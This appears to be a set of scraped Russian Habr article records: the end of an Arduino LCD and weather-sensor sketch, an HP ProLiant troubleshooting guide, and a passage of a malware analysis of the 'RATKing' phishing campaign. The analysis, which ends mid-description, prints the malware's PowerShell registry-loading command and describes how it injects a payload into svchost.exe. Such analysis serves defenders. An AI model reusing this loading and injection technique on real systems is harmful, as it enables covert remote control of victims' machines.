,{0x3c, 0x40, 0x40, 0x20, 0x7c} // 75 u
,{0x1c, 0x20, 0x40, 0x20, 0x1c} // 76 v
,{0x3c, 0x40, 0x30, 0x40, 0x3c} // 77 w
,{0x44, 0x28, 0x10, 0x28, 0x44} // 78 x
,{0x0c, 0x50, 0x50, 0x50, 0x3c} // 79 y
,{0x44, 0x64, 0x54, 0x4c, 0x44} // 7a z
,{0x00, 0x08, 0x36, 0x41, 0x00} // 7b {
,{0x00, 0x00, 0x7f, 0x00, 0x00} // 7c |
,{0x00, 0x41, 0x36, 0x08, 0x00} // 7d }
,{0x10, 0x08, 0x08, 0x10, 0x08} // 7e ←
,{0x00, 0x06, 0x09, 0x09, 0x06} // 7f →
};
void LcdCharacter(char character)
{
LcdWrite(LCD\_D, 0x00);
for (int index = 0; index < 5; index++)
{
LcdWrite(LCD\_D, ASCII[character - 0x20][index]);
}
LcdWrite(LCD\_D, 0x00);
}
void LcdClear(void)
{
for (int index = 0; index < LCD\_X \* LCD\_Y / 8; index++)
{
LcdWrite(LCD\_D, 0x00);
}
}
void LcdInitialise(void)
{
pinMode(PIN\_SCE, OUTPUT);
pinMode(PIN\_RESET, OUTPUT);
pinMode(PIN\_DC, OUTPUT);
pinMode(PIN\_SDIN, OUTPUT);
pinMode(PIN\_SCLK, OUTPUT);
digitalWrite(PIN\_RESET, LOW);
// delay(1);
digitalWrite(PIN\_RESET, HIGH);
LcdWrite( LCD\_CMD, 0x21 ); // LCD Extended Commands.
LcdWrite( LCD\_CMD, 0xBf ); // Set LCD Vop (Contrast). //B1
LcdWrite( LCD\_CMD, 0x04 ); // Set Temp coefficent. //0x04
LcdWrite( LCD\_CMD, 0x14 ); // LCD bias mode 1:48. //0x13
LcdWrite( LCD\_CMD, 0x0C ); // LCD in normal mode. 0x0d for inverse
LcdWrite(LCD\_C, 0x20);
LcdWrite(LCD\_C, 0x0C);
}
void LcdString(char \*characters)
{
while (\*characters)
{
LcdCharacter(\*characters++);
}
}
void LcdWrite(byte dc, byte data)
{
digitalWrite(PIN\_DC, dc);
digitalWrite(PIN\_SCE, LOW);
shiftOut(PIN\_SDIN, PIN\_SCLK, MSBFIRST, data);
digitalWrite(PIN\_SCE, HIGH);
}
// gotoXY routine to position cursor
// x - range: 0 to 84
// y - range: 0 to 5
void gotoXY(int x, int y)
{
LcdWrite( 0, 0x80 | x); // Column.
LcdWrite( 0, 0x40 | y); // Row.
}
char \* floatToString(char \* outstr, double val, byte precision, byte widthp){
char temp[16];
byte i;
// compute the rounding factor and fractional multiplier
double roundingFactor = 0.5;
unsigned long mult = 1;
for (i = 0; i < precision; i++)
{
roundingFactor /= 10.0;
mult \*= 10;
}
temp[0]='\0';
outstr[0]='\0';
if(val < 0.0){
strcpy(outstr,"-\0");
val = -val;
}
val += roundingFactor;
strcat(outstr, itoa(int(val),temp,10)); //prints the int part
if( precision > 0) {
strcat(outstr, ".\0"); // print the decimal point
unsigned long frac;
unsigned long mult = 1;
byte padding = precision -1;
while(precision--)
mult \*=10;
if(val >= 0)
frac = (val - int(val)) \* mult;
else
frac = (int(val)- val ) \* mult;
unsigned long frac1 = frac;
while(frac1 /= 10)
padding--;
while(padding--)
strcat(outstr,"0\0");
strcat(outstr,itoa(frac,temp,10));
}
// generate space padding
if ((widthp != 0)&&(widthp >= strlen(outstr))){
byte J=0;
J = widthp - strlen(outstr);
for (i=0; i< J; i++) {
temp[i] = ' ';
}
temp[i++] = '\0';
strcat(temp,outstr);
strcpy(outstr,temp);
}
return outstr;
}
void drawLine(void)
{
unsigned char j;
for(j=0; j<84; j++) // top
{
gotoXY (j,0);
LcdWrite (1,0x01);
}
for(j=0; j<84; j++) //Bottom
{
gotoXY (j,5);
LcdWrite (1,0x80);
}
for(j=0; j<6; j++) // Right
{
gotoXY (83,j);
LcdWrite (1,0xff);
}
for(j=0; j<6; j++) // Left
{
gotoXY (0,j);
LcdWrite (1,0xff);
}
}
float VoltageToPPM(float voltage)
{
return pow(b\_k, voltage)/a\_k;
}
void setup(void)
{
//analogReference(INTERNAL);
LcdInitialise();
LcdClear();
gotoXY(0,0);
if (pressure.begin())
LcdString("BMP180 init success");
else
{
// Oops, something went wrong, this is usually a connection problem,
// see the comments at the top of this sketch for the proper connections.
LcdString("BMP180 init fail\n\n");
while(1); // Pause forever.
}
dht.begin();
}
void loop(void)
{
sensorValue = analogRead(sensorPin);
delay(50);
sensorValue = analogRead(sensorPin);
delay(50);
char buf[20];
float value=sensorValue\*adc\_step;
gotoXY(0,0);
LcdString("CO2:");
LcdString(floatToString(buf, VoltageToPPM(value),1,5));
LcdString("ppm");
gotoXY(0,1);
LcdString("CO2 V:");
LcdString(floatToString(buf, value,4,5));
gotoXY(0,2);
delay(50);
sensorValue = analogRead(vBattPin);
delay(50);
sensorValue = analogRead(vBattPin);
value=sensorValue\*adc\_step;
LcdString("V batt:");
LcdString(floatToString(buf, value,3,4));
// static bool led\_on\_off=true;
// digitalWrite(ledPin, led\_on\_off);
// led\_on\_off=!led\_on\_off;
char status;
double T,P,p0,a;
// Loop here getting pressure readings every 10 seconds.
// If you want sea-level-compensated pressure, as used in weather reports,
// you will need to know the altitude at which your measurements are taken.
// We're using a constant called ALTITUDE in this sketch:
// If you want to measure altitude, and not pressure, you will instead need
// to provide a known baseline pressure. This is shown at the end of the sketch.
// You must first get a temperature measurement to perform a pressure reading.
// Start a temperature measurement:
// If request is successful, the number of ms to wait is returned.
// If request is unsuccessful, 0 is returned.
status = pressure.startTemperature();
if (status != 0)
{
// Wait for the measurement to complete:
delay(status);
// Retrieve the completed temperature measurement:
// Note that the measurement is stored in the variable T.
// Function returns 1 if successful, 0 if failure.
status = pressure.getTemperature(T);
if (status != 0)
{
// Print out the measurement:
//gotoXY(0,3);
// LcdString("temp: ");
//LcdString(floatToString(buf, T,1,4));
// LcdString(" C");
// Start a pressure measurement:
// The parameter is the oversampling setting, from 0 to 3 (highest res, longest wait).
// If request is successful, the number of ms to wait is returned.
// If request is unsuccessful, 0 is returned.
status = pressure.startPressure(2);
if (status != 0)
{
// Wait for the measurement to complete:
delay(status);
// Retrieve the completed pressure measurement:
// Note that the measurement is stored in the variable P.
// Note also that the function requires the previous temperature measurement (T).
// (If temperature is stable, you can do one temperature measurement for a number of pressure measurements.)
// Function returns 1 if successful, 0 if failure.
status = pressure.getPressure(P,T);
if (status != 0)
{
// Print out the measurement:
gotoXY(0,5);
//lcd.print("ap ");
LcdString(floatToString(buf, P\*0.7501,1,4));
//lcd.print(" mb");
// The pressure sensor returns abolute pressure, which varies with altitude.
// To remove the effects of altitude, use the sealevel function and your current altitude.
// This number is commonly used in weather reports.
// Parameters: P = absolute pressure in mb, ALTITUDE = current altitude in m.
// Result: p0 = sea-level compensated pressure in mb
p0 = pressure.sealevel(P,ALTITUDE); // we're at 1655 meters (Boulder, CO)
LcdString("-");
LcdString(floatToString(buf, p0\*0.7501,1,4));
//Serial.print(" mb, ");
//Serial.print(p0\*0.0295333727,2);
//Serial.println(" inHg");
// On the other hand, if you want to determine your altitude from the pressure reading,
// use the altitude function along with a baseline pressure (sea-level or other).
// Parameters: P = absolute pressure in mb, p0 = baseline pressure in mb.
// Result: a = altitude in m.
a = pressure.altitude(P,p0);
}
else LcdString("error retrieving pressure measurement\n");
}
else LcdString("error starting pressure measurement\n");
}
else LcdString("error retrieving temperature measurement\n");
}
else LcdString("error starting temperature measurement\n");
float h = dht.readHumidity();
float t = dht.readTemperature();
gotoXY(0,4);
if (isnan(t) || isnan(h)) {
LcdString("Failed to read from DHT");
}
else{
LcdString(floatToString(buf, h,1,4));
LcdString("%");
}
gotoXY(0,3);
LcdString("temp: ");
LcdString(floatToString(buf, t,1,4));
LcdString(" C");
delay(1000);
}
``` | https://habr.com/ru/post/242521/ | null | ru | null |
# Ошибки и проблемы серверов большой тройки: часть вторая. HP
Мы продолжаем цикл публикаций о проблемах, с которыми сталкиваемся при подготовке [refurbished-серверов](http://www.pc-administrator.ru). Ранее мы [писали о серверах DELL](https://habrahabr.ru/company/pc-administrator/blog/270091/), на этот раз речь пойдёт о продукции HP. Все эти проблемы решались нашими инженерами, и это лишь малая часть сюрпризов, которые могут преподнести серверы этого вендора. Однако, если вы самостоятельно занимаетесь обслуживанием серверов, то, возможно, наш опыт может вам пригодиться.
### Оперативная память
При апгрейде серверов HP (да и не только) часто возникают трудности с подбором оперативной памяти. Как показывает практика, даже опытные сисадмины и инженеры не всегда сведущи в этом вопросе. Если по наитию устанавливать модули памяти, то, вероятнее всего, сервер просто не запустится. При неправильной конфигурации RAM возможен и более мягкий вариант: машина работает, но не с максимальной производительностью.
Для многопроцессорных серверов HP, как правило, необходимо использовать только [регистровую память](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C) c функцией коррекции ошибок (ECC RDIMM), а для однопроцессорных — небуферизированную с ECC (UDIMM). Хотя официальные мануалы гласят, что UDIMM можно ставить и в многопроцессорные серверы, делать этого не стоит по нескольким причинам:
1. Ограничение по объему памяти. Как правило это 24-32 Гб на CPU.
2. Планки UDIMM, как правило, должны быть «родные» HP, иначе могут происходить самопроизвольные перезагрузки сервера. Это явление зафиксировано как минимум на трёх моделях: DL380p Gen8, DL360e Gen8, ML310e Gen8v2. В то же время, можно без проблем ставить RDIMM-память любого вендора.
Преимущество UDIMM памяти в том, что она работает несколько быстрее RDIMM, в которой присутствует буферная операционная задержка. Однако, при правильной конфигурации памяти в многоканальных системах RDIMM может превосходить небуферизированную память в производительности. Нельзя одновременно устанавливать RDIMM и UDIMM-модули.
Отличить UDIMM-память от RDIMM можно по наклейке. Например, если написано 12800**R**, то это регистровая память, если 12800**E**, то небуферизированная с ECC.
При установке RDIMM следует отдавать предпочтение одно- и двухранговой памяти (1rx4, 2rx4). В отличие от тех же IBM (Lenovo), серверы HP чувствительны к конфигурации памяти. При установке модулей рекомендуется равномерно распределять память как между процессорами сервера, так и между каналами. В противном случае сервер может просто не включиться, или его производительность окажется сниженной. Вольтаж планок в серверах HP не принципиален, но всё равно старайтесь устанавливать одинаковые по вольтажу планки.
Информация об оптимальном размещении RAM в DIMM-слотах всегда есть под крышкой сервера и в официальном мануале.
Обратите внимание, что серверы HP до Gen9 не поддерживают память DDR4. Поэтому [сначала уточните](http://h20565.www2.hpe.com/portal/site/hpsc), какая память совместима с вашей моделью. Для подбора правильной конфигурации можно воспользоваться [фирменным онлайн-конфигуратором](http://h22195.www2.hp.com/DDR4memoryconfig/Home/Legal).
Когда речь заходит об апгрейде или ремонте серверов, то возникает вечный вопрос о производителе комплектующих. Кто-то использует исключительно оригинальные компоненты, не считаясь с расходами, а кто-то подбирает совместимые комплектующие от сторонних производителей. Мы считаем, что здесь нужно учитывать:
* Степень совместимости сторонних комплектующих.
* Разницу в стоимости по сравнению с оригинальными.
* Информацию о надёжности сторонних комплектующих.
* Уровень и допустимость рисков при использовании сторонних комплектующих.
В серверах HP можно без опасений использовать память разных производителей. Главное, чтобы модули имели одинаковые технические параметры. Например, если в сервере уже установлено несколько модулей 4Gb 1Rx4 PC3L-10600R, наращивать объём нужно с помощью памяти с такими-же параметрами. А производитель может быть любым.
### Накопители
При выборе новых накопителей для сервера ошибиться труднее, чем при изменении конфигурации памяти. Но всё же здесь есть свои подводные камни и, отчасти, мифы.
Бытует мнение, что для серверов HP нужно покупать накопители исключительно того же производителя. Это обосновывают тем, что все накопители с логотипом HP имеют фирменную прошивку. В этом случае «родные» диски существенно дороже. И, честно, говоря, это сомнительное удовольствие переплачивать в 2-2.5 раза. Однако сама корпорация Hewlett-Packard не производит накопители, она заказывает их у других вендоров. И как показывает опыт, во многих моделях серверов HP вполне можно использовать продукцию HGST, Toshiba, Seagate, Western Digital.
При выборе накопителей уточните, какие накопители поддерживает Raid-контроллер вашего сервера. Некоторые контроллеры не поддерживают [SAS](https://ru.wikipedia.org/wiki/Serial_Attached_SCSI)-накопители, также могут не поддерживаться накопители объёмом более 2-3 Тб.
Если сервер не видит сторонний накопитель при его подключении, то чаще всего это связано с неисправностью самого накопителя или Raid-контроллера. Ещё одна немаловажная деталь: ни в коем случае не ставьте в enterprise-серверы диски для десктопных систем. Судя по нашему опыту, можно выделить несколько наиболее популярных моделей «неродных» дисков, которые без проблем будут работать на серверах от G7 до Gen9:
* Seagate Savvio (SAS)
* Seagate Constellation (SATA/SAS)
* Seagate Enterprise Capacity (SATA/SAS)
+ Seagate Enterprise Performance (SATA)
+ WD VelociRaptor (SATA)
### Процессоры
При замене процессоров на более мощные необходимо выяснить в спецификации сервера, какие модели процессоров он поддерживает. Не забывайте учитывать при этом поддерживаемое TDP радиатора и самого CPU. В большинстве случаев это помогает избежать возможных проблем.
Однако при наращивании количества процессоров ни в коем случае нельзя пренебрегать установкой кулеров на каждый из них, полагаясь на кондиционирование серверного помещения. Каждый вентилятор охлаждает определённые зоны на материнской плате. Без штатного охлаждения многократно повышается риск временного перегрева процессоров и оперативной памяти, вплоть до выхода сервера из строя вследствие расплавления или выгорания электронных компонентов.
После установки в сервер двух процессоров на порядок мощнее одного стокового он может не включиться. Например, в нашем случае это было с сервером HP ML350p Gen8. Причина в том, что у некоторых моделей на материнской плате есть предохранитель, блокирующий подачу питания, если требуемое напряжение превышает некий базовый порог. Если эта блокировка срабатывает, то единственным вариантом остаётся только замена материнской платы. Если сервер не на гарантии, то это может влететь в копеечку, так как HP славится немаленькими ценами за свои железки.
Однако есть методика обхода этой защиты. Допустим, вместо одного или двух процессоров начального уровня E5-2609 (v1/v2/v3) нужно установить два производительных E5-2690 (v1/v2/v3). Чтобы избежать проблем при апгрейде лучше всего поступить так:
1. Обновить всё ПО до последних версий (iLO, BIOS, AHS и т.д.)
2. Дождаться полной инициализации сервера с обоими установленными E5-2609.
3. Установить два процессора «промежуточного» уровня, например, E5-2640. Дождаться окончания POST-проверки.
4. И только после этого установить желаемые E5-2690.
Не забывайте при этом, что всё firmware должны быть последних версий.
### Intelligent Provisioning и обновление сервера
В серверах HP ProLiant Gen8 и Gen9 используется мощный инструмент [Intelligent Provisioning](http://www8.hp.com/kz/ru/products/server-software/product-detail.html?oid=5219984), позволяющий сконфигурировать сервер, обновить прошивки некоторых компонентов и контролировать «железную» часть машины. Иногда при попытке обновления выдаётся ошибка о невозможности подключения к базе данных HP. Причина заключается в устаревшей версии самой Intelligent Provisioning. Обновить её можно следующим образом:
1. Для Gen8 скачайте образ Intelligent Provisioning recovery media версии 1.62b, а для Gen9 — самую свежую версию.
2. Смонтируйте образ с помощью iLO или запишите на CD/DVD. Не записывайте образ на флешку, при запуске с неё Intelligent Provisioning не обновится.
3. При загрузке сервера выберите опцию One Time Boot to CD-ROM.
4. Когда сервер загрузится с диска (или образа), то в случае с Gen9 выберите в меню пункт Interactive HP Intelligent Provisioning recovery media. На сервере Gen8 обновление начнётся автоматически.
5. На следующем экране нажмите кнопку Reinstall Intelligent Provisioning, дождитесь завершения и перезагрузитесь штатно (только для Gen9).
Многие владельцы серверов поколений Gen8 и 9 пытаются с помощью Intelligent Provisioning обновить BIOS. Но этот инструмент позволяет обновлять лишь прошивки [iLO](https://ru.wikipedia.org/wiki/Integrated_Lights-Out), сетевой карты (Ethernet) и в некоторых случаях — Raid-контроллера.
Есть два варианта полного обновления сервера.
1. Вручную скачать и установить все необходимые драйверы и прошивки для вашей модели сервера. Этот вариант удобен, если сервер один и на нём уже есть ОС.
2. Если серверов несколько и на них развёрнута Windows, то целесообразнее воспользоваться сервис-паком [Service Pack for ProLiant (SPP)](http://www8.hp.com/us/en/products/server-software/product-detail.html?oid=5104018).
* Нужно скачать образ сервис-пака.
* Установить программу [HP USB Key Utility for Windows](http://h20564.www2.hpe.com/hpsc/swd/public/detail?swItemId=MTX_948972949139480992fcb5b558).
* С помощью этой программы развёртываем образ сервис-пака на флешке объёмом не меньше 8 Гб.
* Загружаем сервер с флешки. Рекомендуем выбрать Interactive Firmware Update, так можно контролировать процесс обновления.
* После загрузки клиента выбираем Update Firmware. Когда оборудование будет проверено, система предложит список обновлений, которые будут установлены после нажатия на кнопку Deploy.
* После завершения обновления необходимо перезагрузиться. Сервер несколько раз включится и выключится, устанавливая прошивки, после чего произойдёт штатная загрузка.
### Не определяются сетевые адаптеры
Если обновить драйверы Emulex для сетевых адаптеров с версии 3.х.х сразу до версии 10.х.х, то при перезагрузке сетевые адаптеры могут перестать определяться. Для предотвращения этой проблемы рекомендуется сначала установить Emulex 4.х.х, а затем самую свежую версию. Избежать этой ошибки можно иначе: сначала обновиться с образа OneConnect, а затем с Service Pack for ProLiant. А если адаптеры уже перестали определяться, то просто обновитесь с образа OneConnect.
### «Особенность» серверов HP DL360p Gen8
Изначально модель данной серии была рассчитана на процессоры E5-26xx первой ревизии, но в 2013 году Intel выпустила вторую итерацию — V2. Вендоры, в том числе HP, стали обновлять линейки. Dell и IBM не стали инженерно менять базу, лишь материнские платы стали носить другой парт номер. А в HP пошли другим путём. В итоге на рынке есть две модели HP DL360p, ничем не отличающиеся, за исключением крепежа радиаторов. В первой версии крепление рычажное, во второй — винтовое.
По сути, мелочь. Однако, может привезти к дополнительным расходам. Поэтому, если вы решите установить второй процессор, обязательно узнайте ревизию своего сервера (по серийнику, либо заглянув под крышку).
Парт номер старого рычажного радиатора — 654770-B21.
Парт номер нового винтового радиатора — 712731-B21.
### Недостаточное количество блоков питания
Некоторые владельцы серверов HР с х4-бэкплейнами резервного питания (RPS), например, ML350 Gen9, недоумевают, почему для запуска машины требуется подключить не менее трёх блоков питания, чья суммарная мощность существенно превышает максимальное текущее потребление сервера.
Дело в том, что в ML350 Gen9 может быть установлено до 9 карт PCI-E и до 6 HDD-бэкплейнов (либо, к примеру, внутренний стример + 5 HDD-бэкплейнов). А всё это может потреблять очень много ватт. Бэкплейны RPS позволяют обеспечить избыточное питание сервера на случай резкого повышения нагрузки, а значит и потребления энергии. Подключение блоков питания к бэкплейну осуществляется по схеме N-1, где N — общее количество разъёмов. Если вам необходимо избыточное питание сервера, то блоки питания должны быть подключены ко всем разъёмам бэкплейна. Если избыточное питание не требуется, то для запуска сервера с х4-бэкплейном необходимо три блока питания, а с х2-бэкплейном — один блок.
### Ошибка управления через IPMI
[IPMI](https://ru.wikipedia.org/wiki/Intelligent_Platform_Management_Interface) может использоваться для удалённого управления серверами. Возможны ситуации, когда не получается установить соединение со службой IPMI сервера:
`ipmitool -I lanplus -H $ip -U $user -P $pass`
`Error: Unable to establish IPMI v2 / RMCP+ session`
Причин может быть две:
1. Служба отключена ради повышения безопасности: у IPMI v.2 есть [потенциальная RAKP-уязвимость (Remote Password Hash Vulnerability)](http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c04197764-1). Нужно вновь включить службу.
2. Используемый аккаунт не имеет прав администратора. В этом случае аккаунту нужно предоставить соответствующие права.
### Хаотичная перезагрузка сервера
Эта проблема встречается редко, и выражается в хаотичной самостоятельной перезагрузке сервера. В логах ОС ошибок нет, логах iLO тоже обычно ничего критичного. В подобных ситуациях обычно не помогает обновление ПО, замена кабелей питания и ИБП. Проблема решается сменой настроек управления питанием в БИОСе сервера. Вкратце, отключаются все механизмы снижения тактовой частоты процессора:
* Power Management Options —> HP Power Profile —> Maximum Performance
* Power Management Options —> HP Power Regulator —> HP Static High Performance Mode
* Power Management Options —> Advanced Power Management Options —> Collaborative Power Control —> Disabled
* Power Management Options —> Advanced Power Management Options —> Minimum Processor Idle Power Core State —> No C-States
* Power Management Options —> Advanced Power Management Options —> Minimum Processor Idle Power Package State —> No Package State
### Сбой после выключения сервера
Мы сталкивались с несколькими случаями, когда при включении сервера светодиоды горят, но видеосигнал отсутствует. Машина не пингуется, iLO не отвечает, хотя по светодиодам отмечается активность iLO и Ethernet. Клавиатура и мышь не работают. Чаще всего такое случалось после штатного отключения сервера, без каких-либо манипуляций, без сбоев питания. Подобный сбой отмечался на серверах поколений от Gen5 до Gen8.
Точного решения этой проблемы, как и её причины, обнаружить пока не удалось. В одном случае помог перевод всех переключателей “System Maintenance Switch” в положение ON, а через некоторое время обратно в OFF. Однажды сервер ожил после того, как поменяли местами модули памяти. К сожалению, в нескольких случаях так и не удалось восстановить серверы.
### Сильный шум системы охлаждения
Эта проблема чаще всего проявлялась в серверах ML350e Gen8. Сразу после включения сервера вентиляторы выходят на высокие обороты. Скорость вращения не снижается при любой нагрузке. В результате создаётся постоянный и высокий уровень шума.
В ряде случаев проблема решалась удалением PCI-E карт расширения: сетевых и USB-хабов. Но эта проблема встречалась и в серверах без установленных плат расширения. Несколько раз помог демонтаж и повторная установка всех вентиляторов и их корзин, с переподключением проводов питания. Однажды вентиляторы вернулись к нормальным оборотам после обновления прошивок и сброса iLO. Также был случай, когда в БИОСе изменилась настройка управления охлаждением, и оказалось достаточно поменять значение с Increased на Optimal Cooling.
### Сброс конфигурации в серверах Gen8
Напоследок хотим рассказать не об ошибке, а о фиче серверов HP поколения Gen8 и Gen9: на материнских платах отсутствуют привычные джамперы сброса конфигурации. Если вам нужно воспользоваться сбросом, то это можно сделать следующим образом:
1. Выключите сервер и выдерните шнур питания.
2. Найдите на материнской плате группу маленьких переключателей “System Maintenance Switch” (см. изображение на внутренней стороне крышки сервера).
3. С помощью тонкого инструмента — ручки, шила, иглы и т.п. — переведите  переключатель №6 в положение ON.
4. Подключите к серверу шнур питания.
5. Если на экране появилось изображение и начался процесс сброса, дождитесь завершения процедуры NVRAM clear и перезапуска сервера. Если после подключения шнура питания на экране долго ничего не отображается, выключите сервер.
6. Выключите сервер, вытащите шнур питания.
7. Верните переключатель № 6 в положение OFF.
### Установка второго рейд-контроллера в серверы Gen8 и Gen9
При установке второго рейд-контроллера (например, один рейд под системы, второй под данные) сервер может зависать на стадии загрузки ОС или не проходить POST. Чаще всего это происходит из-за неправильной boot-очереди.
Для решения проблемы нужно сделать следующую конфигурацию:
* Рейд1 (например, встроенный P420i).
* Рейд2 (софтовый или embedded-рейд, например B120i, P222i).
* Рейд3 (аппаратный P420).
### Преимущества серверов HP
Несправедливо было бы рассказывать только о проблемах серверов HP, ведь недаром продукция этого производителя пользуется высокой популярностью. Серверы серии Proliant считаются одними из лучших в своём классе, и уж точно запомнятся своей надёжностью, нежели отвалившимся iLO и несколько завышенной ценой. Именно HP зачастую задаёт планку в функциональности и отказоустойчивости серверов, предлагая нестандартные, но эффективные инженерные решения.
Вот лишь несколько преимуществ серверов HP:
* Удобство использования благодаря фирменным фичам: iLO, Intelligent provisioning, Active Health System.
* Удачная линейка бюджетных и высокопроизводительных моделей.
* Ограниченная номенклатура «железа» (хотя для кого-то это недостаток) для каждой модели позволяет избежать нерациональных затрат при будущем апгрейде.
* Отличная техподдержка.
* Одна из лучших реализаций обновления встроенного ПО.
* В Gen8 и Gen9 — лучшая реализация диагностических обозначений на салазках под HDD.
Если вы сталкивались с какими-то ошибками в серверах HP, но в конечном счёте победили, то делитесь в комментариях. Спасибо. | https://habr.com/ru/post/302360/ | null | ru | null |
# RATKing: новая кампания с троянами удаленного доступа
В конце мая мы обнаружили кампанию распространения ВПО класса Remote Access Trojan (RAT) — программ, которые позволяют злоумышленникам удаленно управлять зараженной системой.
Рассматриваемая нами группировка отличилась тем, что она не выбрала для заражения какое-то определенное семейство RAT. В атаках в рамках кампании были замечены сразу несколько троянов (все в широком доступе). Этой чертой группировка напомнила нам о крысином короле — мифическом животном, которое состоит из грызунов с переплетенными хвостами.
*Оригинал взят из монографии К. Н. Россикова «Мыши и мышевидные грызуны, наиболее важные в хозяйственном отношении» (1908 г.)*
В честь этого существа мы назвали рассматриваемую нами группировку RATKing. В этом посте мы расскажем подробно о том, как злоумышленники проводили атаку, какие инструменты они использовали, а также поделимся своими соображениями относительно атрибуции этой кампании.
Ход атаки
---------
Все атаки в этой кампании проходили по следующему алгоритму:
1. Пользователь получал фишинговое письмо со ссылкой на Google Drive.
2. По ссылке жертва скачивала вредоносный VBS-скрипт, который прописывал DLL-библиотеку для загрузки конечного пейлоада в реестр Windows и запускал PowerShell, чтобы исполнить ее.
3. DLL-библиотека внедряла конечный пейлоад — собственно, один из используемых злоумышленниками RAT — в системный процесс и прописывала VBS-скрипт в автозапуск, чтобы закрепиться в зараженной машине.
4. Конечный пейлоад исполнялся в системном процессе и давал злоумышленнику возможность управлять зараженным компьютером.
Схематически это можно представить так:
Далее мы сосредоточимся на первых трех этапах, поскольку нас интересует именно механизм доставки ВПО. Мы не станем подробно описывать механизм работы самих вредоносов. Они находятся в широком доступе — либо продаются на специализированных форумах, либо и вовсе распространяются как проекты с открытым исходным кодом, — а значит, не уникальны для группировки RATKing.
Анализ этапов атаки
-------------------
### Этап 1. Фишинговая рассылка
Атака начиналась с того, что жертва получала вредоносное письмо (злоумышленники использовали разные шаблоны с текстом, на скриншоте ниже приведен один из примеров). В сообщении была ссылка на легитимное хранилище `drive.google.com`, которая якобы вела на страницу загрузки документа в формате PDF.
*Пример фишингового письма*
Однако на деле загружался вовсе не PDF-документ, а VBS-скрипт.
При переходе по ссылке из письма на скриншоте выше загружался файл с именем `Cargo Flight Details.vbs`. В этом случае злоумышленники даже не пытались замаскировать файл под легитимный документ.
В то же время в рамках этой кампании мы обнаружили скрипт с именем `Cargo Trip Detail.pdf.vbs`. Он уже мог сойти за легитимный PDF, потому что по умолчанию Windows скрывает расширение файлов. Правда, в этом случае подозрение все еще могла вызвать его иконка, соответствовавшая VBS-скрипту.
На этом этапе жертва могла распознать обман: достаточно на секунду присмотреться к скачиваемым файлам. Однако в таких фишинговых кампаниях злоумышленники зачастую рассчитывают именно на невнимательного или спешащего пользователя.
### Этап 2. Работа VBS-скрипта
VBS-скрипт, который пользователь мог открыть по неосторожности, прописывал DLL-библиотеку в реестр Windows. Скрипт был обфусцирован: строки в нем записаны в виде байтов, разделенных произвольным символом.
*Пример обфусцированного скрипта*
Алгоритм деобфускации достаточно прост: из обфусцированной строки исключался каждый третий символ, после чего результат декодировался из base16 в исходную строку. Например, из значения `57Q53s63t72s69J70r74e2El53v68m65j6CH6Ct` (выделено на скриншоте выше) получалась строка `WScript.Shell`.
Для деобфускации строк мы использовали функцию на Python:
```
def decode_str(data_enc):
return binascii.unhexlify(''.join([data_enc[i:i+2] for i in range(0, len(data_enc), 3)]))
```
Ниже на строках 9–10 выделено значение, при деобфускации которого получался DLL-файл. Именно он запускался на следующем этапе с помощью PowerShell.
*Строка с обфусцированным DLL*
Каждая функция в VBS-скрипте выполнялась по мере деобфускации строк.
После запуска скрипта вызывалась функция `wscript.sleep` — с ее помощью выполнялось отложенное исполнение.
Далее скрипт работал с реестром Windows. Он использовал для этого технологию WMI. С ее помощью создавался уникальный ключ, и в его параметр записывалось тело исполняемого файла. Обращение к реестру через WMI выполнялось с помощью следующей команды:
```
GetObject(winmgmts {impersonationLevel=impersonate}!\\.\root\default:StdRegProv)
```
*Запись, сделанная в реестре VBS-скриптом*
### Этап 3. Работа DLL-библиотеки
На третьем этапе вредоносная DLL-библиотека загружала конечный пейлоад, внедряла его в системный процесс и обеспечивала автозапуск VBS-скрипта при входе пользователя в систему.
**Запуск через PowerShell**
DLL-библиотека исполнялась с помощью следующей команды в PowerShell:
```
[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/ ).);
[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0
```
Эта команда делала следующее:
* получала данные значения реестра с именем `rnd_value_name` — эти данные представляли собой DLL-файл, написанный на платформе .Net;
* загружала полученный .Net-модуль в память процесса `powershell.exe`с помощью функции `[System.Threading.Thread]::GetDomain().Load()` *(подробное описание функции Load() [доступно на сайте Microsoft](https://docs.microsoft.com/ru-ru/dotnet/api/system.appdomain.load?view=netcore-3.1))*;
* исполняла функцию `GUyyvmzVhebFCw]::EhwwK()` — с нее начиналось исполнение DLL‑библиотеки — с параметрами `vbsScriptPath`, `xorKey`, `vbsScriptName`. Параметр `xorKey` хранил ключ для расшифровки конечного пейлоада, а параметры `vbsScriptPath` и `vbsScriptName` передавались для того, чтобы прописать VBS-скрипт в автозапуск.
**Описание DLL-библиотеки**
В декомпилированном виде загрузчик выглядел так:
*Загрузчик в декомпилированном виде (красным подчеркнута функция, с которой начиналось исполнение DLL-библиотеки)*
Загрузчик защищен протектором .Net Reactor. Со снятием данного протектора отлично справляется утилита de4dot.
Данный загрузчик:
* осуществлял инжект пейлоада в системный процесс (в данном примере это `svchost.exe`);
* прописывал VBS-скрипт в автозапуск.
**Инжект пейлоада**
Рассмотрим функцию, которую вызывал PowerShell-скрипт.
*Функция, вызываемая PowerShell-скриптом*
Данная функция осуществляла следующие действия:
* расшифровывала два массива данных (`array` и `array2` на скриншоте). Первоначально они были сжаты с помощью gzip и зашифрованы алгоритмом XOR с ключом `xorKey`;
* копировала данные в выделенные области памяти. Данные из `array` — в область памяти, на которую указывал `intPtr` (`payload pointer` на скриншоте); данные из `array2` — в область памяти, на которую указывал `intPtr2` (`shellcode pointer` на скриншоте);
* вызывала функцию `CallWindowProcA` *([описание](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callwindowproca) этой функции есть на сайте Microsoft)* со следующими параметрами (ниже перечислены имена параметров, на скриншоте они идут в том же порядке, но с рабочими значениями):
+ `lpPrevWndFunc` — указатель на данные из `array2`;
+ `hWnd` — указатель на строку, содержащую путь к исполняемому файлу `svchost.exe`;
+ `Msg` — указатель на данные из `array`;
+ `wParam`, `lParam` — параметры сообщения (в данном случае эти параметры не использовались и имели значения 0);
